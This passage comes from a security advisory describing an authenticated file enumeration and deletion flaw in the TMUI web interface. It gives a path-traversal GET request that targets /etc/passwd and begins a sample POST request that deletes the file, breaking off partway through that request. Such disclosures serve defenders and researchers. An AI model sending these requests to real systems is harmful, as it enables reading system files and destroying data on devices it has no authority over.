    +-------------+

    + Exploitation Details +
    +----------------------+
    An authenticated user with either "Resource Administrator" or "Administrator" role privileges is able to enumerate files on the operating system and subsequently delete them off the OS level.
    
    In order to trigger the flaw, send a HTTP GET request similar to: https://<ip>/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd
    Condition: If file does not exist the application will return "File not found." If the file exists, the user can either send, a similar to, the next HTTP POST request or simply click on the Delete button through the GUI -the button will be displayed only if the enumerated file exists-.
    
    Sample HTTP POST request:
    
    POST /tmui/Control/form HTTP/1.1
    Host: <ip>
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
